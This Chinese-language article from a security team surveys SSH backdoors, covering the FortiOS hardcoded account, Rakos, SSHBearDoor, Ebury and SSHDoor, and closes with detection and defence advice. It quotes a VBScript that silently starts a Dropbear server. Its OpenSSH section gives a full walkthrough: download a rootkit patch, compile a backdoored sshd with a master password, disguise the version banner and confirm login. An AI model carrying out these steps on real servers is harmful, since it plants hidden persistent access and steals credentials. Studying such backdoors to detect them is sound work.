对于UNIX系统来说,ssh服务端作为最广泛应用的远程管理服务并且有一定对外开放的必然性,必然引起黑客关注,所以ssh类的后门也是unix下最经典的后门方式之一了。作为渗透基础知识,逢魔安全团队在本文中对此类后门进行了详细的分析总结,希望能帮助到一些初学者。
01
—
简介
简单的说,SSH 为建立在应用层基础上的安全协议。通过该协议可以远程操作服务器。目前,所谓openssh,Dropbear SSH等,都是ssh协议的工具体现
所谓后门是在渗透完成之后的阶段,攻击者获取到一台服务器的root权限后,需要通过后门长期能够控制这台服务器,同时后门又需要躲避管理员的检测。
那么,rookit的概念实际上就是要通过一系列手段隐藏恶意程序,达到长期控制的目的。可想而知,他的根本宗旨是隐藏:通信隐蔽、自启动项隐藏、文件隐藏、进程/模块隐藏、注册表隐藏、服务隐藏、端口隐藏等。
02
—
Fortinet FortiOS后门
Poc见:http://seclists.org/fulldisclosure/2016/Jan/26
该后门属于硬编码类型的,事实上很多产品都爆出过这一类型的漏洞
爆发时间:2016年9月
如上图poc中,可以知道想目标机器发送内置账号Fortimanager_Access,发挥的信息经过custom_handler函数的处理,就能访问了。
思考:实际上,硬编码漏洞广泛的存在于各种设备中,路由器,网关,防火墙等均爆出过
例如:
这一类型的后门都是通过硬编码的方式存在,是开发和管理人员用来管理的内置账号,但是没有做好相应的权限控制,使得普通用户甚至恶意用户也能访问到这些账号。
03
—
Rakos Malware
参考地址:https://github.com/eset/malware-ioc/tree/master/rakos
Rakos Malware主要在嵌入式设备中流传,可以通过暴力破解ssh服务组建僵尸网络。
主要时间:约2016年8月份
攻击行为:
思考:
在本次案例根本是在于大范围暴力破解ssh服务,加上管理员往往对物联网设备疏于管理。
实际中,暴力破解的安全事件很容易发生,市面上有非常多类似功能的恶意软件,对于一个高度安全的网络环境,入口点有时候往往就是一个弱密码。
04
—
SSHBearDoor
sshBearDoor主要被当做后门用,能够擦出硬盘数据,主要针对乌克兰新闻媒体公司和电力行业。
爆发时间:2007年就存在,2014年卷土重来
SSh后门:
该恶意软件绑定了一个Dropbear SSH的后门,后门程序如下:
Set WshShell = CreateObject(“WScript.Shell”)WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\”WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false |
---|
后门详细的工作原理如下图:
后门行为:这里的后门实际上完全是正常的程序功能,只不过人们使用了该ssh功能写了一个远程连接的工具而已。
思考:这一类的后门原理上都是通过提供的第三方库再实现一个简易的ssh客户端和服务端,然后将服务端安装在受害者机器上,实现连接、
与之类似的有如下工具:
https://github.com/joridos/custom-ssh-backdoor,该工具是通过python的paramiko库自己实现了个ssh功能的软件,然后安装在服务端上
比较缺乏的是,github上大部分的后门软件都只是实现了ssh的功能,并没有隐藏功能
05
—
Ebury木马
该木马主要是通过补丁程序修改OpenSSH的公共库libkeyutils.so,从而使得他能够轻易获取到管理员账号密码
爆发时间:2013年
木马行为:
该木马功能上比较完整,有各种手段对后门进行隐藏,有机会我们单独拿一片文章出来讲。
06
—
SSHDoor
该后门主要是通过硬编码的方式登陆,可以窃取用户名密码
时间:2013年
后门行为:
07
—
OpenSSH Patch BackDoor
我们来看一个最原始的OpenSSH后门,该后门是通过补丁的方式修改openssh,并且重新编译替换了sshd,与Ebury后门相似的是都可以记录用户的账号名密码,只不过该后门功能上远远不如Ebury,也没有相应的隐藏功能。
[root@localhost ~]#cat /etc/issueCentOS release 6.8(Final)Kernel \r on an \m #1. SSH后门目前网上支持版本为5.9以下,本次用的是centos6.8自带的openssh5.3版本的[root@localhost ~]#ssh -VOpenSSH_5.3p1,OpenSSL 1.0.1e-fips 11 Feb 2013 # 2. 下载两个文件[root@localhost ~]#wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz[root@localhost ~]#wgethttp://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz [root@localhost ~]#ls0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz #3. 备份下配置文件[root@localhost ~]#mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old [root@localhost ~]#mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old [root@localhost ~]#tar -zxvf openssh-5.9p1.tar.gz[root@localhost ~]#tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.patch/openssh-5.9p1.patch/LICENSEopenssh-5.9p1.patch/INSTALLopenssh-5.9p1.patch/READMEopenssh-5.9p1.patch/sshbd5.9p1.diffopenssh-5.9p1.patch/ssh_integrity_checker.sh #4. 补丁#5. 设置后门登陆密码在includes.h文件中可以找到设置通用密码的地方:Version.h文件设置版本banners,该banners改成和原来系统一致[root@localhostopenssh-5.9p1]# yum install zlib-devel opensslopenssl-devel zlib zlib-devel#7. 编译并安装[root@localhost openssh-5.9p1]# yum install zlib-devel[root@localhost openssh-5.9p1]# yum installopenssl openssl-devel[root@localhost openssh-5.9p1]# yum installgcc[root@localhost openssh-5.9p1]# ./configure--prefix=/usr --sysconfdir=/etc/ssh[root@localhost openssh-5.9p1]# make&& make install#8. 验证执行:strings/usr/sbin/sshd可以查看到,我们需要的后门已经写入到ssh中使用通用密码123123登陆成功 |
---|
08
—
防御方法
在识别rootkit方面,目前有几款工具可以直接实现,例如:chkrootkit、Rootkit Hunter、Lynis、ISPProtect等,都是可以对系统进行自动检测。
攻击是点,防御是面的防御,等到被入侵后在加固,就弱了,我们可以简单的认为后门程序就是一个访问权限的隐藏,站在攻击者的角度就是要伪装成正常的用户,行为。防御者要做的就是识别出这些伪装:
端口监控:这里包括内网监控和外网监控:外网端口通过白名单控制,严禁私自开启外网端口;内网端口变化性比较大的,那么是否可能这些变化是有规律有模型的呢?这需要进一步研究
文件监控:建立起文件监控体系,周期性检测文件的完整性,监控文件的权限变化。匹配软件MD5值以免软件被替换
配置安全:做好基线检测,服务器被入侵后,往往会修改用户配置,而通常hids并不会去检测文件的内容。基线配置的建立就显得尤为重要
流量检测:这一点常见的hids都能实现,snort什么的,关键是各种防御体系的联动以及分析,提取出安全事件,进而提升到威胁情报
参考:
http://seclists.org/fulldisclosure/2016/Jan/26
https://github.com/eset/malware-ioc/tree/master/rakos
http://seclists.org/snort/2014/q1/498
https://evi1cg.me/archives/Pentest_SSH.html